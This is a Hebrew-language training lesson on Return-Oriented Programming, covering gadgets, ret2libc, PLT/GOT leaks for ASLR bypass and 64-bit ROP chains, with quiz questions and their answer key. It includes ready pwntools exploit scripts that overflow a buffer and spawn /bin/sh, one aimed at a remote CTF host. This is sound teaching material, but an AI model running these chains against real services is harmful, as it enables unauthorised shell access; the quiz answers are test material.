GammaCyber

ROP

Binary Exploitation ו-Pwn · 5–6 שעות

// סקירה

ROP — Return-Oriented Programming: ניצול NX ב-Exploitation מודרני

כשNX מופעל, Shellcode ישיר נחסם. ROP עוקף זאת בחכמה: במקום להרץ קוד חדש, מחבר רצפי קוד קיים! Gadget = רצף Assembly קצר שמסתיים ב-RET. שרשור Gadgets = ביצוע כל לוגיקה — בלי לכתוב byte חדש לזיכרון.

✓נושאי השיעור
  • Gadgets — אבני הבניין של ROP
  • ROPgadget — מציאת Gadgets בבינארי
  • Ret2libc (32bit) — עקיפת NX עם system()
  • PLT ו-GOT — Dynamic Linking ו-Ret2plt
  • ASLR Bypass — Leak + Calculate + Exploit
  • ROP Chain ב-64bit — pop rdi, Stack Alignment
  • pwntools ROP class — אוטומציה
  • Dry Run — ניתוח ROP Chain ידנית
🎯 איך זה מופיע במיוני גאמא
◄ Black Box CTF — Pwn Service עם NX: בניית ROP Chain לקריאה ל-system()
◄ Reverse Engineering — זיהוי PLT/GOT, פיענוח Stack Payload
◄ שאלון Exploitation — מה Gadget, מה PLT/GOT, כיצד Ret2libc עובד
◄ Exploit Development — ROPgadget, pwntools ROP, ASLR Bypass עם Leak
// פרק 1

Gadgets: אבני הבניין של ROP

Gadget = רצף Assembly קצר שמסתיים ב-RET. כבר קיים בזיכרון (בBinary או libc) → ניתן להרצה גם כשNX מופעל. שרשור Gadgets דרך Stack = ביצוע Logic ללא Shellcode.

; ─── Gadgets נפוצים ─────────────────────────────────────── ; @ 0x0804901e : pop eax ; ret ← טעינת ערך ל-EAX ; @ 0x0804919b : pop ebx ; ret ← טעינת ערך ל-EBX ; @ 0x0804cafe : xor ecx, ecx ; ret ← איפוס ECX ; @ 0x0804dead : int 0x80 ; ret ← System Call! ; ─── ROP Chain Stack Layout ──────────────────────────────── ; [padding: 44 bytes] ← מלא עד Return Address ; [0x0804901e] ← EIP → Gadget 1 (pop eax; ret) ; [0x0000000b] ← ייקרא ל-EAX = 11 (SYS_execve) ; [0x0804919b] ← RET מG1 → Gadget 2 (pop ebx; ret) ; [0x0804a020] ← ייקרא ל-EBX = &"/bin/sh" ; [0x0804cafe] ← RET מG2 → Gadget 3 (xor ecx,ecx;ret) ; [0x0804dead] ← RET מG3 → int 0x80 → Shell!
💡 ROP = Turing Complete
עם Gadgets מספיקים, ניתן לבצע כל חישוב:
◄ pop reg; ret → טעינת ערך ל-Register
◄ mov [reg], reg; ret → כתיבה לזיכרון
◄ add eax, ebx; ret → חיבור
כל Binary מכיל מאות Gadgets. libc מכילה עשרות אלפים!
✏תרגול עצמי3 שאלות
שאלה 1.1 — מהו Gadget?
מה מגדיר "Gadget" ב-ROP?
✓ תשובה: ד) — Gadget: רצף קוד קיים (e.g. "pop eax; ret") + מסתיים ב-RET. הוא כבר בזיכרון הניתן להרצה (TEXT section). ROP = שרשור Gadgets דרך Stack מבלי לכתוב קוד חדש.
שאלה 1.2 — ROP Chain מכניקה
כיצד Gadget אחד "קופץ" לGadget הבא ב-ROP Chain?
✓ תשובה: ד) — RET = POP EIP = קרא כתובת מ-Stack ל-EIP. הכתובת הבאה ב-Stack היא Gadget 2. Gadget 2 מסתיים ב-RET → קרא Gadget 3 מ-Stack. וכך הלאה — "שרשרת" של RET!
שאלה 1.3 — ROPgadget
כיצד מוצאים Gadget pop rdi ; ret ב-Binary?
✓ תשובה: א) ROPgadget — ROPgadget --binary ./vuln --re 'pop rdi' → 0x00400593 : pop rdi ; ret. חלופות: ropper -f ./vuln --search 'pop rdi', pwntools: rop.find_gadget(['pop rdi','ret'])[0].
// פרק 2

Ret2libc: הטכניקה הקלאסית לעקיפת NX

במקום Shellcode, קופצים ל-system() בlibc (שהיא כן ניתנת להרצה!) עם "/bin/sh" כארגומנט. לא צריך לכתוב קוד חדש.

Ret2libc ב-32bit — Stack Layout

; Stack עבור Ret2libc ב-32bit: ; [padding: 44 bytes] ← מלא עד Return Address ; [system() address] ← Return Address → system() ; [exit() address] ← "Return מ-system" → יציאה נקייה ; ["/bin/sh" address] ← arg1 ל-system() ; כשRET קופצת ל-system(): ; ESP → [exit_addr][binsh_addr] ; system() מציפה arg1 = [ESP+4] = &"/bin/sh" ; → system("/bin/sh") → Shell!
from pwn import * elf = ELF('./vuln') libc = ELF('/lib/i386-linux-gnu/libc.so.6') # כתובות (ללא ASLR — קבועות): system_addr = libc.symbols['system'] exit_addr = libc.symbols['exit'] binsh_addr = next(libc.search(b'/bin/sh')) offset = 44 payload = b'A' * offset payload += p32(system_addr) # Return Address → system() payload += p32(exit_addr) # Return מ-system → exit() payload += p32(binsh_addr) # arg1 = "/bin/sh" conn = process('./vuln') conn.sendline(payload) conn.interactive() # ← Shell!
💡 /bin/sh בlibc
libc.so תמיד מכילה את המחרוזת '/bin/sh' — היא משתמשת בה פנימית!
next(libc.search(b'/bin/sh')) → offset בlibc
בmemory: libc_base + offset → כתובת אמיתית של "/bin/sh"
✏תרגול עצמי3 שאלות
שאלה 2.1 — Ret2libc Stack
מהו הסדר הנכון של ה-Payload ב-Ret2libc (32bit)?
✓ תשובה: ג) — ב-32bit args ב-Stack: לפני CALL: [ret_addr][arg1][arg2]. כשRET→system(): ESP=[exit_addr, binsh_addr]. system() קורא arg1=[ESP+4]=binsh. הסדר: Return Address(system) | Fake-Return(exit) | arg1(/bin/sh).
שאלה 2.2 — מדוע exit()?
מדוע מוסיפים exit() אחרי system() ב-Ret2libc Payload?
✓ תשובה: ד) — כש-system() מחזירה, היא עושה RET → POP EIP = מה שאחריה בStack = exit(). אחרת: Crash בכתובת זבל. ב-CTF: לפעמים שמים "JUNK" (b'BBBB') כי ה-Shell כבר פתוח ולא יגיע ל-return.
שאלה 2.3 — /bin/sh בlibc
מדוע ניתן למצוא "/bin/sh" בתוך libc.so?
✓ תשובה: א) — system("/bin/sh") בlibc עצמה מכילה את הstring הזה. next(libc.search(b'/bin/sh')) מוצא את ה-offset בlibc. כתובת runtime = libc_base + offset. חפש גם ב-Binary עצמו עם ROPgadget --string '/bin/sh'.
// פרק 3

PLT/GOT ו-ASLR Bypass: Leak → Calculate → Exploit

PLT/GOT = מנגנון Dynamic Linking. ה-PLT entry הוא כתובת קבועה גם עם ASLR — ניתן לקרוא לפונקציות libc כדי ל-Leak כתובות, ואז לחשב libc_base.

PLT ו-GOT — מה הם

Sectionמה מכילכתובת (PIE disabled)שינוי ב-Runtime
.pltStub code לכל פונקציה חיצוניתקבועה (0x08049000)לא משתנה
.gotPointers לפונקציות libcקבועה (0x0804c000)Dynamic Linker ממלא
libc .textקוד הפונקציות עצמןאקראית עם ASLR!—

ASLR Bypass: 2-Stage Exploit

from pwn import * elf = ELF('./vuln') libc = ELF('/lib/i386-linux-gnu/libc.so.6') puts_plt = elf.plt['puts'] # כתובת קבועה (גם עם ASLR!) puts_got = elf.got['puts'] # Pointer לכתובת האמיתית ב-libc main_addr = elf.symbols['main'] offset = 44 # ─── Stage 1: Leak כתובת puts() מ-GOT ────────────────────── # puts(puts@GOT) → מדפיס 4 bytes = כתובת puts בlibc payload1 = b'A' * offset payload1 += p32(puts_plt) # → puts() payload1 += p32(main_addr) # → main() לRound 2 payload1 += p32(puts_got) # arg1 = &puts@GOT conn = remote('ctf.example.com', 1337) conn.sendline(payload1) # ─── Stage 2: חשב libc_base ───────────────────────────────── leak = conn.recvline()[:4] puts_addr = u32(leak) libc_base = puts_addr - libc.symbols['puts'] print(f'libc @ {hex(libc_base)}') # ─── Stage 3: Exploit! ────────────────────────────────────── system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) exit_addr = libc_base + libc.symbols['exit'] payload2 = b'A' * offset payload2 += p32(system_addr) payload2 += p32(exit_addr) payload2 += p32(binsh_addr) conn.sendline(payload2) conn.interactive() # ← Shell!
✏תרגול עצמי3 שאלות
שאלה 3.1 — PLT vs GOT
מה ההבדל בין puts@PLT לבין puts@GOT?
✓ תשובה: ב) — PLT entry (קבועה, PIE disabled): JMP [GOT_entry]. GOT entry: מכיל כתובת האמיתית ב-libc (ממולאת ב-Runtime). Ret2plt = קרא PLT entry → קרא puts → מדפיס תוכן GOT = Leak!
שאלה 3.2 — ASLR Bypass Logic
מדוע leaking כתובת אחת של libc מספיקה לחישוב כתובת כל פונקציה אחרת בlibc?
✓ תשובה: ד) — ASLR: libc נטענת לכתובת בסיס אקראית. אבל offset בין puts לsystem קבוע (תלוי גרסת libc). leak=puts_addr → libc_base=puts_addr-puts_offset → system_addr=libc_base+system_offset.
שאלה 3.3 — GOT Overwrite
מה זה GOT Overwrite ואיך ניתן להשתמש בו?
✓ תשובה: א) — GOT = writable (rw-). כתוב system@libc ל-GOT[printf]. כשהתוכנית קוראת printf("/bin/sh") → PLT→GOT[printf]=system() → system("/bin/sh")! מחייב Write-Primitive. נחסם על ידי Full RELRO.
// פרק 4

ROP ב-64bit ו-pwntools ROP Class

ב-64bit, ארגומנטים עוברים ב-Registers (rdi, rsi, rdx) — לא ב-Stack! לכן Ret2libc ב-64bit דורש Gadget pop rdi; ret לטעינת arg1.

ROP Chain ב-64bit

from pwn import * elf = ELF('./vuln64') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') rop = ROP(elf) # מצא Gadgets: pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret_gadget = rop.find_gadget(['ret'])[0] # ← Alignment! # (אחרי Leak + calc libc_base) binsh_addr = libc_base + next(libc.search(b'/bin/sh')) system_addr = libc_base + libc.symbols['system'] offset = 72 # buf(64) + Saved RBP(8) payload = b'A' * offset payload += p64(ret_gadget) # Alignment: system() דורש 16-byte aligned payload += p64(pop_rdi) # Gadget: pop rdi; ret payload += p64(binsh_addr) # ייקרא ל-RDI (arg1) payload += p64(system_addr) # system(rdi="/bin/sh") → Shell! conn.sendline(payload) conn.interactive()
! Stack Alignment ב-64bit — הטעות הכי נפוצה ›

Linux x86-64 דורש Stack מיושר ל-16 bytes לפני CALL לפונקציה!

# בלי ret gadget: payload = padding + pop_rdi + binsh + system # → system() קורסת ב-movaps alignment check! # עם ret gadget (מוסיף 8 bytes → מיישר): payload = padding + RET + pop_rdi + binsh + system # → עובד!

אם Exploit כמעט עובד אבל קורס ב-system() → הוסף ret gadget לפני!

pwntools ROP Class — אוטומציה

from pwn import * elf = ELF('./vuln') libc = ELF('/lib/i386-linux-gnu/libc.so.6') # Stage 1: Leak rop = ROP([elf, libc]) rop.puts(elf.got['puts']) # puts(puts@GOT) rop.main() # → main() לRound 2 payload = flat({44: rop.chain()}) # padding + ROP chain # Stage 2: אחרי Leak leak = conn.recvline()[:4] libc.address = u32(leak) - libc.symbols['puts'] # Set libc base! rop2 = ROP([elf, libc]) rop2.system(next(libc.search(b'/bin/sh'))) payload2 = flat({44: rop2.chain()}) conn.sendline(payload2) conn.interactive()
✏תרגול עצמי4 שאלות
שאלה 4.1 — 64bit Calling Convention
מדוע ב-64bit ROP צריך Gadget pop rdi; ret לפני system()?
✓ תשובה: ב) — x86-64 System V ABI: arg1=rdi, arg2=rsi, arg3=rdx, ... ב-32bit: args ב-Stack. ב-64bit ROP: pop rdi → RDI=&"/bin/sh" → ret → system() → system(rdi)=system("/bin/sh")!
שאלה 4.2 — Stack Alignment
Exploit קורס ב-system() ב-64bit למרות שהכתובות נכונות. מה הסיבה הסבירה?
✓ תשובה: ג) — x86-64 ABI: Stack חייב להיות aligned ל-16 bytes לפני CALL. system() מבצע movaps (SSE instruction) שדורש alignment. הוסף ret gadget לפני system() → מוסיף 8 bytes → מיישר ל-16. כמעט תמיד פותר.
שאלה 4.3 — Dry Run ROP Chain
payload = b'A' * 44 payload += p32(0x0804901e) # pop eax; ret payload += p32(11) # 11 payload += p32(0x0804919b) # pop ebx; ret payload += p32(0x0804a020) # &"/bin/sh" payload += p32(0x0804cafe) # xor ecx,ecx; ret payload += p32(0x0804dead) # int 0x80מה מבצעת ROP Chain זו?
✓ תשובה: א) — EAX=11=SYS_execve. EBX=0x0804a020=&"/bin/sh". ECX=0=NULL (argv). int 0x80 → Linux 32bit syscall → execve("/bin/sh",NULL,NULL) → Shell! Syscall ROP — לא תלוי ב-libc כלל!
שאלה 4.4 — pwntools libc.address
מה עושה libc.address = puts_addr - libc.symbols['puts']?
✓ תשובה: ב) — libc.address = הbase address. אחרי set: libc.symbols['system'] = libc.address + offset_system (מחושב אוטומטית). next(libc.search(b'/bin/sh')) = libc.address + offset_binsh. מאוד נוח!
// תרגול נוסף

תרגול נוסף — CTF: Base64, Ghidra ו-Format String

שאלות העשרה נוספות לחיזוק החומר של השיעור — באותו פורמט בחירה של הקורס.

✏תרגול נוסף3 שאלות
שאלה 5.1 [קל]
קיבלת מחרוזת חשודה: SGVsbG8gV29ybGQ=. מה הצעד הראשון?
✓ תשובה נכונה: ד — סימני Base64: תווים A-Z,a-z,0-9,+,/ וריפוד = בסוף. base64.b64decode('SGVsbG8gV29ybGQ=') → b'Hello World'.
שאלה 5.2 [בינוני]
ב-Ghidra רואים if (strcmp(input, "s3cr3t") == 0). מה עושים?
✓ תשובה נכונה: א — strcmp מול קבוע = Hard-coded password. RE חשף אותו: s3cr3t. הרץ את הבינארי והזן אותו. תבנית CTF נפוצה מאוד ב-crackme.
שאלה 5.3 [קשה]
הרצת nc challenge 1337, נשלח Enter code, שלחת 1000 תווי A והתוכנית מדפיסה אותם בחזרה. מה זה מרמז?
✓ תשובה נכונה: א — קלט שמודפס בחזרה → חשד ל-printf(buf) (Format String) או ל-Overflow. נסה %x%x%x לחשיפת Stack, או Cyclic למציאת Offset.
// אתגר מעשי

אתגר מעשי — NX ועקיפתו — עיקרון

שיא השיעור: להבין את הפגיעות, לזהות אותה בקוד ובבינארי, ולהקשיח מולה. ההגשה נבדקת אוטומטית מול בינאריים אמיתיים.

T3 · בינוני300 נק'~12 דק'analysis
עקיפת NX — עיקרון
הגנת NX הופכת את ה-stack ללא-ניתן-להרצה, כך ש-shellcode שמוזרק ל-stack לא ירוץ. איזו *משפחת טכניקות* עוקפת את NX על-ידי שימוש חוזר בקוד קיים (שכבר מסומן כניתן-להרצה) במקום הזרקת קוד? (a) NOP Sled (b) Code Reuse (ROP / ret2libc) (c) הגדלת ה-buffer (d) Integer Overflow
דוגמאות
(פורמט) → אות
הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס עקיפת NX — עיקרון ›
b — NX חוסם הרצת נתונים מה-stack, אז משתמשים בקוד קיים (ret2libc / ROP) שכבר מסומן executable.
// סיכום

סיכום שיעור 41

✓מה למדנו בשיעור 41
  • ROP = שרשור Gadgets (קוד קיים + RET) לביצוע Logic ללא Shellcode
  • Gadget = רצף Assembly קצר שמסתיים ב-RET. כבר קיים בBinary/libc
  • ROP Chain Stack: [G1_addr][G1_values][G2_addr][G2_values]...[system/syscall]
  • ROPgadget --binary ./vuln --re 'pop rdi' → מצא Gadgets
  • Ret2libc (32bit): [padding][system@libc][exit@libc][/bin/sh@libc]
  • PLT = כתובת קבועה לקריאה לfunc. GOT = Pointer לכתובת libc (אקראית עם ASLR)
  • ASLR Bypass: Leak GOT → libc_base = leak - libc.sym['func'] → Exploit
  • 64bit ROP: args ב-Registers! pop rdi + ret gadget חובה
  • Stack Alignment: הוסף ret gadget לפני system() ב-64bit (16-byte align)
  • pwntools ROP class: rop.system(binsh) → chain() → פשוט ואוטומטי
🎯 השיעור הבא
שיעור 42 — Format String Exploitation: קריאה וכתיבה לזיכרון | יחידה 5
שאלות תרגול ותשובות (16)

שאלה 1.1 — מהו Gadget? · מה מגדיר "Gadget" ב-ROP?

  • א. קטע Shellcode מוכן מראש שמוזרק אל תוך ה-Stack לצורך הריצה
  • ב. פונקציה שלמה מתוך ספריית libc שאותה קוראים בזמן הניצול
  • ג. כתובת בודדת בזיכרון שאליה קופץ ה-Exploit בשלב הראשון שלו
  • ד. רצף Assembly קצר שמסתיים ב-RET, קיים ב-Binary ורץ גם עם NX
תשובה: ד

✓ תשובה: ד) — Gadget: רצף קוד קיים (e.g. "pop eax; ret") + מסתיים ב-RET. הוא כבר בזיכרון הניתן להרצה (TEXT section). ROP = שרשור Gadgets דרך Stack מבלי לכתוב קוד חדש.

שאלה 1.2 — ROP Chain מכניקה · כיצד Gadget אחד "קופץ" לGadget הבא ב-ROP Chain?

  • א. באמצעות פקודת JMP ישירה אל כתובתו של ה-Gadget שאחריו בשרשרת
  • ב. באמצעות פקודת CALL שמעבירה את השליטה אל ה-Gadget הבא בתור
  • ג. באמצעות קריאת מערכת (System Call) שמנתבת אל ה-Gadget הבא
  • ד. ה-RET שבסופו מבצע POP EIP, כך שהכתובת הבאה ב-Stack נטענת
תשובה: ד

✓ תשובה: ד) — RET = POP EIP = קרא כתובת מ-Stack ל-EIP. הכתובת הבאה ב-Stack היא Gadget 2. Gadget 2 מסתיים ב-RET → קרא Gadget 3 מ-Stack. וכך הלאה — "שרשרת" של RET!

שאלה 1.3 — ROPgadget · כיצד מוצאים Gadget pop rdi ; ret ב-Binary?

; Stack עבור Ret2libc ב-32bit:
; [padding: 44 bytes]        ← מלא עד Return Address
; [system() address]         ← Return Address → system()
; [exit() address]           ← "Return מ-system" → יציאה נקייה
; ["/bin/sh" address]        ← arg1 ל-system()

; כשRET קופצת ל-system():
;   ESP → [exit_addr][binsh_addr]
;   system() מציפה arg1 = [ESP+4] = &"/bin/sh"
;   → system("/bin/sh") → Shell!
  • א. ROPgadget --binary ./vuln --re 'pop rdi' לחיפוש הרצף בקובץ
  • ב. gdb --find 'pop rdi' כדי לאתר את הרצף בזיכרון בזמן הריצה
  • ג. strings ./vuln | grep 'pop rdi' כדי לחלץ אותו מן המחרוזות
  • ד. nm ./vuln | grep rdi כדי למצוא אותו ברשימת הסמלים של הקובץ
תשובה: א

✓ תשובה: א) ROPgadget — ROPgadget --binary ./vuln --re 'pop rdi' → 0x00400593 : pop rdi ; ret. חלופות: ropper -f ./vuln --search 'pop rdi', pwntools: rop.find_gadget(['pop rdi','ret'])[0].

שאלה 2.1 — Ret2libc Stack · מהו הסדר הנכון של ה-Payload ב-Ret2libc (32bit)?

  • א. [padding][/bin/sh][system()][exit()]: הארגומנט לפני הפונקציה
  • ב. [system()][padding][/bin/sh][exit()]: הפונקציה לפני הריפוד
  • ג. [padding][system()][exit()][/bin/sh]: system בכתובת החזרה
  • ד. [padding][/bin/sh][exit()][system()]: system בסוף השרשרת כולה
תשובה: ג

✓ תשובה: ג) — ב-32bit args ב-Stack: לפני CALL: [ret_addr][arg1][arg2]. כשRET→system(): ESP=[exit_addr, binsh_addr]. system() קורא arg1=[ESP+4]=binsh. הסדר: Return Address(system) | Fake-Return(exit) | arg1(/bin/sh).

שאלה 2.2 — מדוע exit()? · מדוע מוסיפים exit() אחרי system() ב-Ret2libc Payload?

  • א. הפונקציה exit() היא הדרושה כדי שה-Shell בכלל יצליח לעבוד
  • ב. הפונקציה exit() היא זו שמכילה בתוכה את המחרוזת "/bin/sh"
  • ג. הפונקציה exit() נדרשת כדי להפעיל מחדש את מנגנון ה-ASLR
  • ד. כש-system() חוזרת ה-CPU קופץ לכתובת החזרה שלה = exit(), נקי
תשובה: ד

✓ תשובה: ד) — כש-system() מחזירה, היא עושה RET → POP EIP = מה שאחריה בStack = exit(). אחרת: Crash בכתובת זבל. ב-CTF: לפעמים שמים "JUNK" (b'BBBB') כי ה-Shell כבר פתוח ולא יגיע ל-return.

שאלה 2.3 — /bin/sh בlibc · מדוע ניתן למצוא "/bin/sh" בתוך libc.so?

from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

puts_plt = elf.plt['puts']    # כתובת קבועה (גם עם ASLR!)
puts_got = elf.got['puts']    # Pointer לכתובת האמיתית ב-libc
main_addr = elf.symbols['main']
offset = 44

# ─── Stage 1: Leak כתובת puts() מ-GOT ──────────────────────
# puts(puts@GOT) → מדפיס 4 bytes = כתובת puts בlibc
payload1  = b'A' * offset
payload1 += p32(puts_plt)    # → puts()
payload1 += p32(main_addr)   # → main() לRound 2
payload1 += p32(puts_got)    # arg1 = &puts@GOT

conn = remote('ctf.example.com', 1337)
conn.sendline(payload1)

# ─── Stage 2: חשב libc_base ─────────────────────────────────
leak      = conn.recvline()[:4]
puts_addr = u32(leak)
libc_base = puts_addr - libc.symbols['puts']
print(f'libc @ {hex(libc_base)}')

# ─── Stage 3: Exploit! ──────────────────────────────────────
system_addr = libc_base + libc.symbols['system']
binsh_addr  = libc_base + next(libc.search(b'/bin/sh'))
exit_addr   = libc_base + libc.symbols['exit']

payload2  = b'A' * offset
payload2 += p32(system_addr)
payload2 += p32(exit_addr)
payload2 += p32(binsh_addr)

conn.sendline(payload2)
conn.interactive()   # ← Shell!
  • א. libc משתמשת בו פנימית ב-system() וב-popen(); הוא ב-.rodata
  • ב. מדובר ב-Bug מוכר בספריית libc שדולף מחרוזת רגישה החוצה
  • ג. ספריית libc כוללת בתוכה מימוש שלם ומובנה של Shell עצמאי
  • ד. המחרוזת מוספת אוטומטית על-ידי המהדר GCC בזמן הקימפול עצמו
תשובה: א

✓ תשובה: א) — system("/bin/sh") בlibc עצמה מכילה את הstring הזה. next(libc.search(b'/bin/sh')) מוצא את ה-offset בlibc. כתובת runtime = libc_base + offset. חפש גם ב-Binary עצמו עם ROPgadget --string '/bin/sh'.

שאלה 3.1 — PLT vs GOT · מה ההבדל בין puts@PLT לבין puts@GOT?

  • א. ה-PLT היא ההגדרה של puts ואילו ה-GOT היא רק ההצהרה עליו
  • ב. PLT היא כתובת stub קבועה לקריאה; GOT מצביע לכתובת האמיתית
  • ג. ה-PLT מחזיקה כתובת אקראית ואילו ה-GOT מחזיקה כתובת קבועה
  • ד. אין ביניהם שום הבדל מעשי, ושני המונחים הם לאותו הדבר עצמו
תשובה: ב

✓ תשובה: ב) — PLT entry (קבועה, PIE disabled): JMP [GOT_entry]. GOT entry: מכיל כתובת האמיתית ב-libc (ממולאת ב-Runtime). Ret2plt = קרא PLT entry → קרא puts → מדפיס תוכן GOT = Leak!

שאלה 3.2 — ASLR Bypass Logic · מדוע leaking כתובת אחת של libc מספיקה לחישוב כתובת כל פונקציה אחרת בlibc?

  • א. כל הפונקציות בספריית libc ממוקמות בדיוק באותה כתובת בזיכרון
  • ב. מנגנון ה-ASLR אינו משנה דבר בכתובות של הפונקציות שבתוך libc
  • ג. חובה לבצע Dump של כל ספריית libc כדי לחשב כתובת של פונקציה
  • ד. ASLR מאקראי רק את בסיס libc; ה-offsets בין הפונקציות קבועים
תשובה: ד

✓ תשובה: ד) — ASLR: libc נטענת לכתובת בסיס אקראית. אבל offset בין puts לsystem קבוע (תלוי גרסת libc). leak=puts_addr → libc_base=puts_addr-puts_offset → system_addr=libc_base+system_offset.

שאלה 3.3 — GOT Overwrite · מה זה GOT Overwrite ואיך ניתן להשתמש בו?

from pwn import *

elf  = ELF('./vuln64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop  = ROP(elf)

# מצא Gadgets:
pop_rdi    = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]   # ← Alignment!

# (אחרי Leak + calc libc_base)
binsh_addr  = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']

offset = 72   # buf(64) + Saved RBP(8)

payload  = b'A' * offset
payload += p64(ret_gadget)     # Alignment: system() דורש 16-byte aligned
payload += p64(pop_rdi)        # Gadget: pop rdi; ret
payload += p64(binsh_addr)     # ייקרא ל-RDI (arg1)
payload += p64(system_addr)    # system(rdi="/bin/sh") → Shell!

conn.sendline(payload)
conn.interactive()
  • א. כתיבת כתובת system() ל-GOT של printf, כך שהקריאה הבאה תריץ
  • ב. מחיקה מוחלטת של טבלת ה-GOT כדי לשבש את ריצת התוכנית כולה
  • ג. ביצוע Randomize על כתובות ה-GOT כדי להקשות על התוקף לנצל
  • ד. טבלת ה-GOT מוגנת לחלוטין מפני כתיבה, ולכן לא ניתן לגעת בה
תשובה: א

✓ תשובה: א) — GOT = writable (rw-). כתוב system@libc ל-GOT[printf]. כשהתוכנית קוראת printf("/bin/sh") → PLT→GOT[printf]=system() → system("/bin/sh")! מחייב Write-Primitive. נחסם על ידי Full RELRO.

שאלה 4.1 — 64bit Calling Convention · מדוע ב-64bit ROP צריך Gadget pop rdi; ret לפני system()?

  • א. ה-Gadget הזה נחוץ אך ורק כדי לנקות את ה-Stack לפני הקריאה
  • ב. ב-64bit הארגומנט הראשון עובר ב-RDI, ולכן טוענים אליו את הכתובת
  • ג. הרצף pop rdi מנטרל את מנגנון ה-ASLR לפני הקפיצה ל-system()
  • ד. הפונקציה system() בסביבת 64-bit כלל אינה מקבלת ארגומנטים
תשובה: ב

✓ תשובה: ב) — x86-64 System V ABI: arg1=rdi, arg2=rsi, arg3=rdx, ... ב-32bit: args ב-Stack. ב-64bit ROP: pop rdi → RDI=&"/bin/sh" → ret → system() → system(rdi)=system("/bin/sh")!

שאלה 4.2 — Stack Alignment · Exploit קורס ב-system() ב-64bit למרות שהכתובות נכונות. מה הסיבה הסבירה?

  • א. הפונקציה system() כלל אינה קיימת בספריית libc של המערכת הזו
  • ב. הערך של libc_base שחושב שגוי, ולכן כל הכתובות שנגזרו ממנו
  • ג. ה-Stack אינו מיושר ל-16 בתים; יש להוסיף ret gadget לפני הקריאה
  • ד. מנגנון ה-NX הוא זה שחוסם את ההרצה של הפונקציה system() כאן
תשובה: ג

✓ תשובה: ג) — x86-64 ABI: Stack חייב להיות aligned ל-16 bytes לפני CALL. system() מבצע movaps (SSE instruction) שדורש alignment. הוסף ret gadget לפני system() → מוסיף 8 bytes → מיישר ל-16. כמעט תמיד פותר.

שאלה 4.3 — Dry Run ROP Chain · payload = b'A' * 44 payload += p32(0x0804901e) # pop eax; ret payload += p32(11) # 11 payload += p32(0x0804919b) # pop ebx; ret payload += p32(0x0804a020) # &"/bin/sh" payload += p32(0x0804cafe) # xor ecx,ecx; ret payload += p32(0x0804dead) # int 0x80מה מבצעת ROP Chain זו?

payload  = b'A' * 44
payload += p32(0x0804901e)  # pop eax; ret
payload += p32(11)          # 11
payload += p32(0x0804919b)  # pop ebx; ret
payload += p32(0x0804a020)  # &"/bin/sh"
payload += p32(0x0804cafe)  # xor ecx,ecx; ret
payload += p32(0x0804dead)  # int 0x80
  • א. execve("/bin/sh", NULL, NULL) בקריאת מערכת ישירה: EAX=11, int 0x80
  • ב. system("/bin/sh") דרך ספריית libc ולא באמצעות קריאת מערכת ישירה
  • ג. exit(0): יציאה נקייה מן התוכנית באמצעות קריאת מערכת רגילה
  • ד. printf("/bin/sh"): הדפסת המחרוזת בלבד ללא הרצת Shell כלשהו
תשובה: א

✓ תשובה: א) — EAX=11=SYS_execve. EBX=0x0804a020=&"/bin/sh". ECX=0=NULL (argv). int 0x80 → Linux 32bit syscall → execve("/bin/sh",NULL,NULL) → Shell! Syscall ROP — לא תלוי ב-libc כלל!

שאלה 4.4 — pwntools libc.address · מה עושה libc.address = puts_addr - libc.symbols['puts']?

  • א. מחשב את כתובתה של הפונקציה puts בתוך ספריית libc שנטענה
  • ב. מגדיר את libc_base, וכך pwntools יחשב את כתובות כל הפונקציות
  • ג. טוען את כל ספריית libc אל תוך הזיכרון של התהליך הרץ כעת
  • ד. מחפש את מיקום המחרוזת "/bin/sh" בתוך ספריית libc בזיכרון
תשובה: ב

✓ תשובה: ב) — libc.address = הbase address. אחרי set: libc.symbols['system'] = libc.address + offset_system (מחושב אוטומטית). next(libc.search(b'/bin/sh')) = libc.address + offset_binsh. מאוד נוח!

שאלה 5.1 [קל] · קיבלת מחרוזת חשודה: SGVsbG8gV29ybGQ=. מה הצעד הראשון?

SGVsbG8gV29ybGQ=
  • א. XOR Brute Force: הנחה שגויה, אף שהתו סימן שוויון בסוף וטווח התווים מעידים בבירור על Base64, ולכן פענוח Base64 קודם לכל ניסיון XOR כן
  • ב. Caesar Cipher: הנחה שגויה, אף שהמחרוזת מכילה תווי Base64 עם ריפוד שוויון, ולכן פענוח Base64 הוא הצעד ההגיוני ולא הזזת אותיות כאן
  • ג. MD5 Hash: הנחה שגויה, אף ש-MD5 הוא Hash חד-כיווני באורך קבוע, והמחרוזת כאן היא Base64 הפיך שמפוענח לטקסט קריא ולא Hash כלשהו
  • ד. Base64 Decode — סימן השוויון בסוף מעיד על ריפוד של Base64, ופענוח נותן את הטקסט Hello World, ולכן זהו הצעד הראשון הנכון בניתוח
תשובה: ד

✓ תשובה נכונה: ד — סימני Base64: תווים A-Z,a-z,0-9,+,/ וריפוד = בסוף. base64.b64decode('SGVsbG8gV29ybGQ=') → b'Hello World'.

שאלה 5.2 [בינוני] · ב-Ghidra רואים if (strcmp(input, "s3cr3t") == 0). מה עושים?

if (strcmp(input, "s3cr3t") == 0)
  • א. הסיסמה היא s3cr3t — ה-Reverse Engineering חשף Hard-coded password ישירות בקוד, ולכן מריצים את הבינארי ומזינים s3cr3t כדי לעבור
  • ב. מפצחים את ה-Hash: הנחה שגויה, אף שאין כאן Hash אלא השוואת מחרוזות גלויה, ולכן הסיסמה s3cr3t קריאה ישירות ואין צורך בפיצוח כלשהו כאן
  • ג. מבצעים Buffer Overflow: הנחה שגויה, אף שאין כאן צורך בחריגה מ-buffer, שכן הסיסמה הקשיחה s3cr3t חשופה בקוד ומספיקה כדי לעבור כאן
  • ד. מזריקים Shellcode: הנחה שגויה, אף שהזרקת קוד מיותרת כאן, מאחר שההשוואה חושפת סיסמה קשיחה s3cr3t שאותה פשוט מזינים כדי לעבור
תשובה: א

✓ תשובה נכונה: א — strcmp מול קבוע = Hard-coded password. RE חשף אותו: s3cr3t. הרץ את הבינארי והזן אותו. תבנית CTF נפוצה מאוד ב-crackme.

